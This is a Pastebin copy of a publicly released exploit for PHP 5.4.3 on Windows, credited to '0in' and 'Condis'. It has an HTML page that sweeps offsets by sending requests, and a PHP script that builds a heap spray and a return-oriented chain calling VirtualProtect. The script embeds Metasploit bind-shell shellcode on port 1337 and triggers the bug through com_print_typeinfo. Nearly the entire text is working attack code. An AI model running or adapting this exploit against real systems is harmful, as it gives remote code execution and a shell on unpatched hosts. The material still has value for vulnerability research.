Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. // Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)
  2. // Exploit author: 0in (Maksymilian Motyl)
  3. // Email: 0in(dot)email(at)gmail.com
  4. // * Bug with Variant type parsing originally discovered by Condis
  5. // Tested on Windows XP SP3 fully patched (Polish)
  6.  
  7. -----------------
  8. calc-offset.html
  9. -----------------
  10.  
  11. <html><body>
  12. <title>0day</title>
  13. <center>
  14. <font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br>
  15. <textarea rows=50 cols=50 id="log"></textarea>
  16. </center>
  17. <script>
  18. function sleep(milliseconds) {
  19. var start = new Date().getTime();
  20. for (var i = 0; i < 1e7; i++) {
  21. if ((new Date().getTime() - start) > milliseconds){
  22. break;
  23. }
  24. }
  25. }
  26. function makeRequest(url, parameters)
  27. {
  28. var xmlhttp = new XMLHttpRequest();
  29. if (window.XMLHttpRequest) {
  30. xmlhttp = new XMLHttpRequest();
  31. if (xmlhttp.overrideMimeType) {
  32. xmlhttp.overrideMimeType('text/xml');
  33. }
  34. } else if (window.ActiveXObject) {
  35. // IE
  36. try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
  37. catch (e) {
  38. try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
  39. catch (e) {}
  40. }
  41. }
  42.  
  43. if (!xmlhttp) {
  44. alert('Giving up :( Cannot create an XMLHTTP instance');
  45. return false;
  46. }
  47.  
  48. xmlhttp.open("GET",url,true);
  49. xmlhttp.send(null);
  50. return true;
  51. }
  52. test=document.getElementById("log");
  53. for(offset=0;offset<300;offset++)
  54. {
  55. log.value+="Trying offset:"+offset+"\r\n";
  56. makeRequest("0day.php?offset="+offset);
  57. sleep(500);
  58. }
  59.  
  60. </script></body></html>
  61.  
  62. -----------------
  63. 0day.php
  64. -----------------
  65. <?php
  66.  
  67. $spray = str_repeat("\x90",0x200);
  68. $offset=$_GET['offset'];
  69. // 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll]
  70. $spray = substr_replace($spray, "\xda\xf0\x5d\x77", (strlen($spray))*-1,(strlen($spray))*-1);
  71. // :> 0x048d0030
  72. $spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1);
  73.  
  74. //0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll]
  75. $spray = substr_replace($spray, "\x9f\xae\x52\x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1);
  76.  
  77. // Adress of VirtualProtect 0x7c801ad4
  78. $spray = substr_replace($spray, "\xd4\x1a\x80\x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1);
  79.  
  80. // LPVOID lpAddress = 0x048d0060
  81. $spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1);
  82.  
  83. // SIZE_T dwSize = 0x01000000
  84. $spray = substr_replace($spray, "\x00\x00\x10\x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1);
  85.  
  86. // DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0
  87. $spray = substr_replace($spray, "\x40\x00\x00\x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1);
  88. // __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000
  89.  
  90. // 0x048d0068
  91. $spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1);
  92.  
  93. //0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll]
  94. $spray = substr_replace($spray, "\xb4\xe8\xdf\x77", (strlen($spray)-0x18)*-1,4);
  95. // Ret Address = 0x048d0080
  96. $spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4);
  97.  
  98.  
  99.  
  100. $stacktrack = "\xbc\x0c\xb0\xc0\x00";
  101. // Universal win32 bindshell on port 1337 from metasploit
  102. $shellcode = $stacktrack."\x33\xc9\x83\xe9\xb0".
  103. "\x81\xc4\xd0\xfd\xff\xff".
  104. "\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d".
  105. "\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96".
  106. "\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2".
  107. "\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0".
  108. "\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41".
  109. "\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82".
  110. "\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2".
  111. "\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39".
  112. "\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9".
  113. "\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b".
  114. "\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a".
  115. "\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88".
  116. "\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01".
  117. "\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20".
  118. "\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e".
  119. "\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39".
  120. "\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44".
  121. "\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96".
  122. "\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38".
  123. "\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9".
  124. "\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09".
  125. "\x4e\x33\xe4\x96\xcd\xcc\x32\x69";
  126.  
  127.  
  128. $spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode)));
  129. $fullspray="";
  130. for($i=0;$i<0x4b00;$i++)
  131. {
  132. $fullspray.=$spray;
  133. }
  134. $j=array();
  135. $e=array();
  136. $b=array();
  137. $a=array();
  138. $c=array();
  139.  
  140. array_push($j,$fullspray);
  141. array_push($e,$fullspray."W");
  142. array_push($b,$fullspray."A");
  143. array_push($a,$fullspray."S");
  144. array_push($c,$fullspray."!");
  145.  
  146.  
  147. $vVar = new VARIANT(0x048d0038+$offset);
  148. // Shoot him
  149. com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10]
  150.  
  151. echo $arr;
  152.  
  153. echo $spray;
  154.  
  155. ?>